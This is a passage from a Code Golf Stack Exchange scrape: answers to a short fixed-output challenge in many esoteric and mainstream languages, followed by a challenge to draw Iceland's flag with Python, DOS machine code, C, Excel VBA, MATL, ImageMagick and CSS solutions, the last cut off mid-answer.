`0000` ### Explanation ``` ! Print an implicit 0 from the stack. ! Print an implicit 0 from the stack. > Rotate the source code right by one cell, so the code now becomes @!!> The IP is moved along, so it's now at the end of the line, which is a dead end. So the IP turns around and starts moving left. ! Print an implicit 0 from the stack. ! Print an implicit 0 from the stack. @ Terminate the program. ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 2 bytes ``` no ``` [Try it online!](https://tio.run/nexus/retina#@5@X//8/AA "Retina – TIO Nexus") Prints `0` and a linefeed. There are a lot of 2-byte solutions, but I believe this is optimal. Retina by default always prints a trailing newline and getting rid of it takes too many bytes. So we'd have to find a 1-byte program that leaves the empty input unchanged. I believe the only program which does this is the program containing a single linefeed, which is therefore equal to the output and hence not permitted by the challenge. The next simplest thing to do is to live with Retina outputting a single digit (the number of matches of some regex against the empty input), and we can do that with a lot of failing (or matching) 2-byte patterns. [Answer] ## Mathematica, 2 bytes ``` 4! ``` factorial > > 24 > > > [Answer] ## C, 20 bytes ``` f(){printf("%20d");} ``` Outputs some number, padded with spaces to a length of 20. (What number? Whatever happens to come next in memory.) Some sample runs on my system: ``` llama@llama:...code/c/ppcg121056samelen$ ./a.out -666605944 llama@llama:...code/c/ppcg121056samelen$ ./a.out -1391039592 llama@llama:...code/c/ppcg121056samelen$ ./a.out 1727404696 llama@llama:...code/c/ppcg121056samelen$ ./a.out 10717352 llama@llama:...code/c/ppcg121056samelen$ ./a.out 1485936232 ``` It's a shame that the output can't be arbitrary bytes, because that would have allowed this 19 byte solution: ``` f(){write(1,f,19);} ``` which outputs 19 bytes of junk, starting at `f`'s address. [Answer] # Bash on Linux, 6 ``` uname ``` (followed by a newline) Outputs `Linux` followed by a newline. [Answer] # Javascript ES6, 9 bytes Using Template Strings ``` _=>`${_}` ``` ``` f= _=>`${_}` console.log(f()); console.log(typeof f()); ``` [Answer] # [Pyramid Scheme](https://github.com/ConorOBrien-Foxx/Pyramid-Scheme), ~~74~~ ~~43~~ 42 bytes Saved 31 bytes thanks to Khuldraeseth na'Barya! Saved 1 byte thanks to JoKing's redesigned solution! ``` ^ /^\ ^---^ -^ ^- -^- /2\ / 8 \ ----- ``` [Try it online!](https://tio.run/##K6gsSszNTNEtTs5IzU39/19BIY5LQT8uhitOV1c3jks3TiFOl0tBF0ToG8Vw6StYKMRw6YLA//8A "Try it Online!") Outputs the 41-digit number `28^28 = 33145523113253374862572728253364605812736`, followed by a trailing newline. --- ## Old version ``` ^ / \ /out\ -----^ /^\ ^---^ /1\ /9\ /606\--- /51015\ ------- ``` [Try it online!](https://tio.run/nexus/pyramid-scheme#@6@gEMeloK8Qw6WfX1oSw6ULAkARINCPiwHRcVABfcMYBX1LoJC@mYFZDFCQS9/U0MDQFKpHV/f/fwA "Pyramid Scheme – TIO Nexus") Outputs `71277303925397560663333806233294794013421332605135474842607729452115234375` = `160651015 ** 9`, or about 1074. [Answer] # [Python 2](https://docs.python.org/2/), 9 bytes ``` print{+1} ``` This prints `set([1])` and a linefeed. [Try it online!](https://tio.run/nexus/python2#@19QlJlXUq1tWPv/PwA "Python 2 – TIO Nexus") [Answer] # [Python 2](https://docs.python.org/2/), 9 bytes ``` print 1e5 ``` The displayed output contains a trailing newline. [Try it online!](https://tio.run/nexus/python2#@19QlJlXomCYavr/PwA "Python 2 – TIO Nexus") [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 25 bytes ``` --[-->+<]+++++[->-.....<] ``` [Try it online!](https://tio.run/nexus/brainfuck#@6@rG62ra6dtE6sNAtG6drp6IGAT@/8/AA "brainfuck – TIO Nexus") *Note: Requires an implementation with 8-bit unsigned cells* Output: ``` ~~~~~}}}}}|||||{{{{{zzzzz ``` --- ## Explanation ``` --[ 254 -->+<] /2 = 127 into the second cell +++++[ Five times ->-.....<] Print the second cell - 1 five times ``` [Answer] # C (Ideone), 14 bytes ``` f(){warn(0);} ``` [On Ideone](http://ideone.com/8hesZH), which names its executable `prog`, this outputs the following with a trailing newline. ``` prog: Success ``` # C (GCC), 15 bytes ``` f(){warn(00);} ``` Because GCC writes an executable named `a.out` by default (in the absence of additional flags that would cost bytes), this outputs the following with a trailing newline. ``` a.out: Success ``` [Answer] # [Self-modifying Brainfuck](https://soulsphere.org/hacks/smbf/), 5 bytes ``` <[.<] ``` [Try it online!](https://tio.run/nexus/smbf#@28TrWcT@/8/AA "Self-modifying Brainfuck – TIO Nexus") Output: ``` ]<.[< ``` --- ## Explanation: Really simple, prints the source in reverse. In SMBF, the content of the program is stored on the tape, to the left of the initial position of the pointer. Gliding left and printing will output the source code backwards. Since reading source is allowed in this challenge, this should definitely be within the rules. [Answer] # [Basic Arithmetic Calculator](https://i.stack.imgur.com/SH8cv.jpg), 2 bytes `1``=` prints `1.`, or: ``` | | | . ``` on those silly seven-segment displays. To reproduce, pick up any random calculator; they all have this programming language installed somehow. [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~18~~ 17 bytes ``` f(){puts('@C');} ``` Note that there's an STX byte (**0x02**) between `@` and `C`. [Try it online!](https://tio.run/##S9ZNT07@/z9NQ7O6oLSkWEPdgclZXdO69n9mXolCbmJmnoYmVzUXJ1Demqv2PwA "C (gcc) – TIO Nexus") ### Portability This has been tested with gcc 6.3.1 and clang 3.9.1 on Fedora 25, gcc 4.8.4 on Ubuntu 14.04.4, and gcc 4.8.3 on openSUSE 13.2, where it prints the following output. ``` inux-x86-64.so.2 ``` I expect this to produce the same output with all versions of gcc, as long as it compiles to an executable of the following type. ``` ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2 ``` Different platforms will require a different memory address and possibly a different order for the bytes in the multi-character character constant. For example, replacing `@\2C` with `@\2\4` prints `exec/ld-elf.so.1` and a newline on FreeBSD 11 with clang 3.8.0. ### Offline verification ``` $ printf "%b\n" "f(){puts('@\2C');}main(){f();}" > quine.c $ gcc -w -o quine quine.c $ ./quine inux-x86-64.so.2 $ ./quine | wc -c 17 ``` ### How it works By default, ld uses **0x400000** as the base address of the text segment, meaning that we can find the ELF's content starting at memory address **0x400000**. The first 640 bytes of the ELF are largely independent of the actual source code. For example, if the declaration of **f** is followed by `main(){f();}` and nothing else, they look as follows. ``` 00000000: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 .ELF............ 00000010: 02 00 3e 00 01 00 00 00 00 04 40 00 00 00 00 00 ..>.......@..... 00000020: 40 00 00 00 00 00 00 00 e8 19 00 00 00 00 00 00 @............... 00000030: 00 00 00 00 40 00 38 00 09 00 40 00 1e 00 1b 00 [[email protected]](/cdn-cgi/l/email-protection)...@..... 00000040: 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 ........@....... 00000050: 40 00 40 00 00 00 00 00 40 00 40 00 00 00 00 00 @.@.....@.@..... 00000060: f8 01 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 ................ 00000070: 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 ................ 00000080: 38 02 00 00 00 00 00 00 38 02 40 00 00 00 00 00 8.......8.@..... 00000090: 38 02 40 00 00 00 00 00 1c 00 00 00 00 00 00 00 8.@............. 000000a0: 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 000000b0: 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 ..@.......@..... 000000d0: 04 07 00 00 00 00 00 00 04 07 00 00 00 00 00 00 ................ 000000e0: 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 .. ............. 000000f0: 08 0e 00 00 00 00 00 00 08 0e 60 00 00 00 00 00 ..........`..... 00000100: 08 0e 60 00 00 00 00 00 1c 02 00 00 00 00 00 00 ..`............. 00000110: 20 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 ......... ..... 00000120: 02 00 00 00 06 00 00 00 20 0e 00 00 00 00 00 00 ........ ....... 00000130: 20 0e 60 00 00 00 00 00 20 0e 60 00 00 00 00 00 .`..... .`..... 00000140: d0 01 00 00 00 00 00 00 d0 01 00 00 00 00 00 00 ................ 00000150: 08 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 ................ 00000160: 54 02 00 00 00 00 00 00 54 02 40 00 00 00 00 00 T.......T.@..... 00000170: 54 02 40 00 00 00 00 00 44 00 00 00 00 00 00 00 [[email protected]](/cdn-cgi/l/email-protection)....... 00000180: 44 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 D............... 00000190: 50 e5 74 64 04 00 00 00 b0 05 00 00 00 00 00 00 P.td............ 000001a0: b0 05 40 00 00 00 00 00 b0 05 40 00 00 00 00 00 ..@.......@..... 000001b0: 3c 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 <.......<....... 000001c0: 04 00 00 00 00 00 00 00 51 e5 74 64 06 00 00 00 ........Q.td.... 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ................ 00000200: 52 e5 74 64 04 00 00 00 08 0e 00 00 00 00 00 00 R.td............ 00000210: 08 0e 60 00 00 00 00 00 08 0e 60 00 00 00 00 00 ..`.......`..... 00000220: f8 01 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 ................ 00000230: 01 00 00 00 00 00 00 00 2f 6c 69 62 36 34 2f 6c ......../lib64/l 00000240: 64 2d 6c 69 6e 75 78 2d 78 38 36 2d 36 34 2e 73 d-linux-x86-64.s 00000250: 6f 2e 32 00 04 00 00 00 10 00 00 00 01 00 00 00 o.2............. 00000260: 47 4e 55 00 00 00 00 00 02 00 00 00 06 00 00 00 GNU............. 00000270: 20 00 00 00 04 00 00 00 14 00 00 00 03 00 00 00 ............... ``` Using, e.g., `main(int c, char**v){f();}` instead changes some bytes, but not the offset of the string `/lib64/ld-linux-x86-64.so.2`, which we'll use to produce output. The offset of said string is **0x238** and it is 27 bytes long. We only want to print 17 bytes (and the last one will be a newline if we use `puts`), so we add **11** to the offset to get **0x243**, the offset of `inux-x86-64.so.2`. Adding **0x400000** and **0x243** gives **0x400243**, the memory location of `inux-x86-64.so.2`. To obtain this memory address, we can use multi-character character constants, which exhibit implementation-defined behavior. **0x400243** is **(64)(2)(67)** in base 256 and gcc's multi-character character constants use big-endian byte order, so `'@\2C'` yields the memory address of the desired string. Finally, `puts` prints the (null-terminated) sting at that memory location and a trailing newline, creating 17 bytes of output. [Answer] # Fourier, ~~26~~ ~~22~~ 20 bytes ``` 5^(`na`&i)` Batman!` ``` [**Try it on FourIDE!**](https://beta-decay.github.io/editor/?code=NV4oYG5hYCZpKWAgQmF0bWFuIWA) Outputs: ``` nananananana Batman! ``` --- For proper capitalisation, it's 4 extra bytes: ``` `N`7^(`an`i^~i)`a Batman!` ``` [**Try it on FourIDE!**](https://beta-decay.github.io/editor/?code=YE5gN14oYGFuYGlefmkpYGEgQmF0bWFuIWA) ``` Nanananananananana Batman! ``` --- ***[R.I.P. Adam West](http://www.bbc.co.uk/news/entertainment-arts-40246650)*** [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 1 byte ``` w ``` [Try it online!](https://tio.run/nexus/brachylog2#@1/@/z8A "Brachylog – TIO Nexus") ### Explanation `w` is the built-in "write". Here, it will write the Input. Since the Input is a free variable, `w` will label it as an integer before printing. The first integer it tries is `0`. [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), 11 bytes ``` o->1e8-1+"" ``` [Try it online!](https://tio.run/##LYxBi8IwEIXv/opHoJCiDXhb2NWjN/Hgcd1D2qY1NSbBmQhl8bd3s7UwMMO873uDfuoqROOH9jbFVDvboHGaCEdtPX5XwPIl1pzXM9gW95zJMz@s779/oB89lTMKDLlPJbZOdck3bINXh@X4OtWDaXjz9vbosJtCtd@aj2q7FmL61z/nkjcBwg6d0jG6UfrkXLmkI7G5q5BYxcxxJ8VFFHQRkEWLemRDZeHFBpRHOeN7vspyll@r1/QH "Java (OpenJDK 8) – Try It Online") Output: > > > ``` > 9.9999999E7 > > ``` > > Just a tad more elaborate than the obvious answer, `()->"".format("%23s",0)`. ## Saves * 18 -> 16 bytes: More advantageous combination of rounding and power of 10, thanks to PunPun1000 * 16 -> 13 bytes: better formula, thanks to JollyJoker * 13 -> 11 bytes: improved formula, thanks to Kevin Cruijssen [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 1 byte ``` õ ``` Outputs a single newline. `õ` pushes an empty string, and it is implicitly outputted with a newline. [Try it online!](https://tio.run/nexus/05ab1e#@3946///AA "05AB1E – TIO Nexus") Some other 2 byte solutions, for your viewing pleasure (the output is in the brackets, and all output has a trailing newline): ``` X, (1) Y, (2) ¾, (0) ¼, (1) ¶, (newline) ð, (space) Î, (0) ``` There are way more 2 byte solutions though. [Answer] ## Batch, 12 bytes ``` @echo %OS% ``` Byte count includes trailing newline for both script and output, which is ``` Windows_NT ``` [Answer] ## [Hexagony](https://github.com/m-ender/hexagony), 3 bytes ``` o!@ ``` [Try it online!](https://tio.run/nexus/hexagony#@5@v6PD/PwA "Hexagony – TIO Nexus") Prints `111`. Unfolded: ``` o ! @ . . . . ``` But the code is really just run in the order `o!@`. ``` o Set the memory edge to 111, the code point of 'o'. ! Print this value as a decimal integer. @ Terminate the program. ``` [Answer] # [V](https://github.com/DJMcMayhem/V)/vim, 1 byte ``` o ``` This prints a single newline. [Try it online!](https://tio.run/nexus/v#@5///z8A "V – TIO Nexus") There are a bunch of variants on this that would work too. For example, ``` O ``` in vim, and ``` Ä ä ï Ï ``` in V. There are also many many many three byte solutions. For example: ``` 3ii i³i ¬ac ``` These are all specific to V. [Answer] Well, uh... # Mornington Crescent, 1731 bytes ``` Take Northern Line to Stockwell Take Victoria Line to Seven Sisters Take Victoria Line to Green Park Take Piccadilly Line to Green Park Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to Russell Square Take Piccadilly Line to King's Cross St. Pancras Take Metropolitan Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Hammersmith & City Line to King's Cross St. Pancras Take Circle Line to King's Cross St. Pancras Take Circle Line to King's Cross St. Pancras Take Circle Line to Bank Take Circle Line to Bank Take Northern Line to Mornington Crescent ``` Prints out the value of `7^2048`, which is `1731` digits long. [Try it online!](https://tio.run/##7ZXNigJBDITvPkVOetKHcA4K/iCOeA9tWMP0JJqOik@vjX97WBYVZGFhzvUVyaWqajVh@XKVbjBKgcRPpwVWBFM1X5MJjFkIXKF0DdWBYmxd9CUHV2P81mlPAiUnJ0u/MAOjzMzQqisw4xBwxTEe30Hmu5TyH1Bud2jUYA3WYJ/BRrkLOgkK05Ry4Hs5hxIMb3GekJtuNLKjvGgZYl3nOqjZ19CGgv3YGP@jsWALkf4A7qNUT4QfyzR5jFg@ch@xMw) [Verify that it's actually `1731` digits long!](https://tio.run/##K6gsycjPM/r/v6AoM69EISc1T6O4pEjDXEvLyMDEQlPz/38A) [Answer] # [///](https://esolangs.org/wiki////), 12 bytes ``` /a/bcd/aaaa/ ``` [Try it online!](https://tio.run/nexus/slashes#@6@fqJ@UnKKfCAT6//8DAA "/// – TIO Nexus") This prints `bcdbcdbcdbcd`, and because this is 12 bytes, I've added a [harmless](https://codegolf.stackexchange.com/a/120425/44874) `/` to the end of the code to pad it out. [Answer] ## [Befunge](https://github.com/catseye/Befunge-93), 2 bytes ``` .@ ``` [Try it online!](https://tio.run/nexus/befunge#@6/n8P8/AA "Befunge-98 – TIO Nexus") Prints `0` with a trailing space. [Also works in Befunge 98.](https://tio.run/nexus/befunge-98#@6/n8P8/AA "Befunge – TIO Nexus") [Answer] # R, 7 bytes ``` mode(T) ``` Prints "logical" [Answer] # [MATL](https://github.com/lmendo/MATL), 2 bytes ``` H ``` There is a trailing newline. [Try it online!](https://tio.run/nexus/matl#@@/B9f8/AA "MATL – TIO Nexus") ### Explanation Clipboard H contains number `2` by default. `H` pushes that content to the stack, which gets implicitly displayed with a trailing newline. [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 2 bytes ``` →¹ ``` [Try it online!](https://tio.run/nexus/charcoal#@/@obdKhnf//AwA "Charcoal – TIO Nexus") Prints a length-1 horizontal line of `-` to the right, and a newline. ]
[Question] [ This year's UEFA Euro 2016 is over and besides a couple of negative headlines there has been a very positive surprise as well – *the Iceland national football team*. Let's draw their national flag. **Input** Well, obviously this challenge has no input. **Output** * Draw the flag of Iceland in any applicable visual format of *at least 100 x 72 pixels* or *25 x 18 characters*. * Save the output to a file or present it instantly – example formats are: images like png, jpg etc., vector graphics, draw on HTML canvas or even use non-whitespace characters for visualization. * [Use these colors](https://en.wikipedia.org/wiki/Flag_of_Iceland#Colors_of_the_flag): *blue*: `#0048e0`, *white*: `#ffffff` and *red*: `#d72828`. * If your language doesn't support specific color values, use the standard values for *red*, *blue* and *white* from the [ANSI color codes](https://en.wikipedia.org/wiki/ANSI_escape_code#Colors). * Draw the flag with the correct proportions, as shown in the figure below: ![](https://upload.wikimedia.org/wikipedia/commons/9/93/Flag_of_Iceland_%28with_dimensions%29.svg) **Boilerplate** * You can write a program or a function. If it is an anonymous function, please include an example of how to invoke it. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") so shortest answer in bytes wins. * Standard loopholes are disallowed. --- **Leaderboard** ``` var QUESTION_ID = 85141; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 41859; // This should be the user ID of the challenge author. var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page;function answersUrl(index) {return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER;}function commentUrl(index, answers) {return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER;}function getAnswers() {jQuery.ajax({url: answersUrl(answer_page++),method: "get",dataType: "jsonp",crossDomain: true,success: function (data) {answers.push.apply(answers, data.items);answers_hash = [];answer_ids = [];data.items.forEach(function(a) {a.comments = [];var id = +a.share_link.match(/\d+/);answer_ids.push(id);answers_hash[id] = a;});if (!data.has_more) more_answers = false;comment_page = 1;getComments();}});}function getComments() {jQuery.ajax({url: commentUrl(comment_page++, answer_ids),method: "get",dataType: "jsonp",crossDomain: true,success: function (data) {data.items.forEach(function(c) {if (c.owner.user_id === OVERRIDE_USER)answers_hash[c.post_id].comments.push(c);});if (data.has_more) getComments();else if (more_answers) getAnswers();else process();}});}getAnswers();var SCORE_REG = /<h\d>\s*([^\n,]*[^\s,]),.*?(-?\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/;var OVERRIDE_REG = /^Override\s*header:\s*/i;function getAuthorName(a) {return a.owner.display_name;}function process() {var valid = [];answers.forEach(function(a) {var body = a.body;a.comments.forEach(function(c) {if(OVERRIDE_REG.test(c.body))body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>';});var match = body.match(SCORE_REG);if (match)valid.push({user: getAuthorName(a),size: +match[2],language: match[1],link: a.share_link,});});valid.sort(function (a, b) {var aB = a.size,bB = b.size;return aB - bB});var languages = {};var place = 1;var lastSize = null;var lastPlace = 1;valid.forEach(function (a) {if (a.size != lastSize)lastPlace = place;lastSize = a.size;++place;var answer = jQuery("#answer-template").html();answer = answer.replace("{{PLACE}}", lastPlace + ".").replace("{{NAME}}", a.user).replace("{{LANGUAGE}}", a.language).replace("{{SIZE}}", a.size).replace("{{LINK}}", a.link);answer = jQuery(answer);jQuery("#answers").append(answer);var lang = a.language;if (! /<a/.test(lang)) lang = '<i>' + lang + '</i>';lang = jQuery(lang).text().toLowerCase();languages[lang] = languages[lang] || {lang: a.language, user: a.user, size: a.size, link: a.link, uniq: lang};});var langs = [];for (var lang in languages)if (languages.hasOwnProperty(lang))langs.push(languages[lang]);langs.sort(function (a, b) {if (a.uniq > b.uniq) return 1;if (a.uniq < b.uniq) return -1;return 0;});for (var i = 0; i < langs.length; ++i){var language = jQuery("#language-template").html();var lang = langs[i];language = language.replace("{{LANGUAGE}}", lang.lang).replace("{{NAME}}", lang.user).replace("{{SIZE}}", lang.size).replace("{{LINK}}", lang.link);language = jQuery(language);jQuery("#languages").append(language);}} ``` ``` body { text-align: left !important}#answer-list {padding: 10px;width: 290px;float: left;}#language-list {padding: 10px;width: 290px;float: left;}table thead {font-weight: bold;}table td {padding: 5px;} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/Sites/codegolf/all.css?v=617d0685f6f3"><div id="answer-list"><h2>Leaderboard</h2><table class="answer-list"><thead><tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead><tbody id="answers"></tbody></table></div><div id="language-list"><h2>Winners by Language</h2><table class="language-list"><thead><tr><td>Language</td><td>User</td><td>Score</td></tr></thead><tbody id="languages"></tbody></table></div><table style="display: none"><tbody id="answer-template"><tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody></table><table style="display: none"><tbody id="language-template"><tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody></table> ``` If you can't find your answer, format your language and byte count as explained in the [Leaderboard's "*Info Section*"](https://codegolf.meta.stackexchange.com/q/5139/41859). --- This challenge is inspired by [Draw the national flag of france](https://codegolf.stackexchange.com/questions/64140/draw-the-national-flag-of-france). [Answer] # Python 3, ~~190~~ ~~172~~ ~~171~~ ~~169~~ ~~167~~ ~~160~~ ~~159~~ ~~147~~ 143 bytes Using PIL version 1.1.7 which has a deprecated but not removed offset method. ``` from PIL.ImageDraw import* i=Image.new('RGB',(25,18),'#d72828') Draw(i).rectangle((1,1,23,16),'#0048e0',~0) i.offset(9).resize((100,72)).show() ``` Creates a 25\*18 pixel image filled with red then draws a 23\*16 pixel rectangle filled with blue with white outline of one pixel. It then offsets the image by (9,9) which wraps on the edges, resizes it to 100\*72 then shows it in a window. # Flag before offsetting: [![enter image description here](https://i.stack.imgur.com/pMizI.png)](https://i.stack.imgur.com/pMizI.png) (resized to 100\*72) # Output: [![enter image description here](https://i.stack.imgur.com/btoNy.png)](https://i.stack.imgur.com/btoNy.png) # Animated: [![enter image description here](https://i.stack.imgur.com/iFOvY.gif)](https://i.stack.imgur.com/iFOvY.gif) Edit1: Golfed 18 bytes by removing the cropping by initially creating a 25\*18 image. Edit2: Golfed 1 byte by using `#fff` instead of `white`. Edit3: Golfed 2 bytes by aliasing imports. Edit4: Golfed 2 bytes by removing the second argument of the offset method . Edit5: Golfed 7 bytes by showing the image instead of saving. (needs imagemagick installed on Unix) Edit6: Golfed 1 byte by rewriting imports. Edit7: Golfed 12 bytes by rewriting imports again. (thanks by @Dennis) Edit8: Added animation. Edit9: Updated animation as it was missing the last frame. Edit10: Golfed 4 bytes thanks to Albert Renshaw! [Answer] ## x86 real-mode machine code for DOS COM, ~~69~~ ~~65~~ ~~63~~ 62 bytes [![Iceland flag produced](https://i.stack.imgur.com/HhViP.png)](https://i.stack.imgur.com/HhViP.png) The code is meant to be executed as a DOS COM executable. ## Special thanks * [meden](https://codegolf.stackexchange.com/questions/85141/draw-the-national-flag-of-iceland#comment209070_85187), saved four bytes. * [meden](https://codegolf.stackexchange.com/questions/85141/draw-the-national-flag-of-iceland#comment209112_85187), saved two bytes and removed the flickering. ## Machine code (in hex bytes) ``` 68 00 A0 07 B8 13 00 CD 10 BE 23 01 AD 91 AD 91 AC E3 FE 60 30 ED F3 AA 61 81 C7 40 01 FE CD 75 F2 EB E9 FA B4 00 00 09 28 B4 46 00 0F FA 28 80 57 0F 14 B4 0C 50 00 FA 14 0C 00 64 00 00 ``` ## Assembly source Source is for NASM. ``` ORG 100h push 0a000h pop es mov ax, 13h int 10h mov si, data _draw: lodsw xchg ax, cx lodsw xchg ax, di lodsb _cycle: jcxz _cycle ;al = color ;cl = col ;ch = row rect: pusha xor ch, ch rep stosb popa add di, 320 dec ch jnz SHORT rect jmp SHORT _draw data: db 250d db 180d dw 0000h db 09h db 40d db 180d dw 0070d db 0fh db 250d db 40d dw 22400d db 0fh db 20d db 180d dw 80d db 0ch db 250 db 20 dw 25600d db 0ch dw 0000h ``` [Answer] # C, ~~194~~ ~~191~~ 183 Bytes ``` #define C "\x1b[" #define A "@@@@@@" y;f(){for(;y++<14;)printf(y>5&&y<10?y>6&&y<9?C"31m"A A A A"@\n":C"0m"A"@@"C"31m@@"C"0m"A A"@@@\n":C"34m"A"@"C"0m@"C"31m@@"C"0m@"C"34m"A A"@@\n");} ``` *-3 adding one `@` on the `#define A`* *-8 adding `[` on `#define C`* ## Usage ``` main(){f();} ``` ## Output ![image](https://s31.postimg.org/ninszhtvv/2016_07_11_1437.png) valid basing on [this comment from the OP](https://codegolf.stackexchange.com/questions/85141/draw-the-national-flag-of-iceland/85165#comment208907_85141) ### Double Size Output, 204 Bytes ``` #define C "\x1b[" #define B "████" #define A B B B y;f(){for(;y++<28;)printf(y>10&&y<19?y>12&&y<17?C"31m"A A A A"██\n":C"0m"A B C"31m"B C"0m"A A B"██\n":C"34m"A"██"C"0m██"C"31m"B C"0m██"C"34m"A A B"\n");} ``` ![image2](https://goo.gl/bgNHgP) [Answer] ## Excel VBA, ~~254~~ ~~228~~ 153 bytes Couldn't really find a way to set column/row size to pixels(thereby making them square) because of the way Excel handles it so make them nice and square first. Edit 1: Replaced RGB with returned values for colors, -26 bytes Edit 2: Tried to add as many suggestions as I could, -75 bytes. I was not able to use `&48e0` as a color and I am not sure why. Thanks everyone ``` Sub e() c "A1:CV72", rgbBlue c "AC1:AR72", -1 c "A29:CV44", -1 c "AG1:AN72", 255 c "A33:CV40", 255 End Sub Sub c(d, f) Range(d).Interior.Color = f End Sub ``` Picture: [![Iceland Flag](https://i.stack.imgur.com/o8lNZ.png)](https://i.stack.imgur.com/o8lNZ.png) [Answer] # [MATL](https://github.com/lmendo/MATL), ~~57~~ ~~56~~ ~~52~~ ~~49~~ 48 bytes ``` 7:g2IvtPvt!9Mh2$X>2YG[0E28]8*255/7B[43DD]51/v2ZG ``` This produces the following figure (tested with the compiler running on Matlab and on Octave). [![enter image description here](https://i.stack.imgur.com/9xpgj.png)](https://i.stack.imgur.com/9xpgj.png) EDIT: You can experimentally try at [**MATL Online!**](https://matl.io/?code=7%3Ag2IvtPvt%219Mh2%24X%3E2YG%5B0E28%5D8%2a255%2F7B%5B43DD%5D51%2Fv2ZG&inputs=&version=19.2.0) (you may need to reload the page if it doesn't work initially). ### How it works ``` 7:g % Range from 1 to 7 converted to logical: push array [1 1 1 1 1 1 1] 2 % Push 2 I % Push 3 v % Concatenate vertically into a 9×1 array tPv % Duplicate, flip vertically, concatenate. Gives a 18×1 array t! % Duplicate, transpose: 1×18 array 9M % Push [1 1 1 1 1 1 1] again h % Concatenate horizontally: gives 1×25 array 2$X> % Maximum of the two arrays, with broadcast. Gives a 18×25 array % with 1 for blue, 2 for white, 3 for red 2YG % Show image with default colormap [0E28]8* % Push array [0 72 224] (blue) 255/ % Divide each entry by 255. Colors are normalized between 0 and 1 7B % 7 converted into binary: push array [1 1 1] (white, normalized) [43DD]51/ % Push array [215/255 40/255 40/255] (red, normalized) v % Concatenate vertically. Gives a 3×3 array 2ZG % Use as colormap ``` [Answer] # Bash + Imagemagick 7, ~~94~~ ~~90~~ ~~86~~ 85 bytes `magick -size 84x56 xc:#0048e0 ${s=-splice 8x8}+28+28 -background \#d72828 $s+32+32 x:` [![](https://i.stack.imgur.com/C1PCa.png)](https://i.stack.imgur.com/C1PCa.png) Saved 8 bytes, thanks to @manatwork, and 1 byte, thanks to @GlennRanders-Pehrson [Answer] ## CSS, ~~285~~ ~~284~~ 264 bytes ``` *,:before,:after{background:#fff;width:100;height:72}body{background:#0048e0;margin:0}:before,:after{content:"";position:fixed}:after{background:#d72828}html:before{top:28;height:16}body:before{left:28;width:16}html:after{top:32;height:8}body:after{left:32;width:8 ``` Saved 1 byte thanks to @insertusernamehere. Saved 20 bytes thanks to @user2428118, by removing all the `px`s. Note that this requires the page to be rendered in quirks mode, so it doesn't work in Stack Snippets. I could copy the Python approach of wrapping an image around at an offset, but it wouldn't be interesting to. Ungolfed: ``` *, *::before, *::after { background: #fff; width: 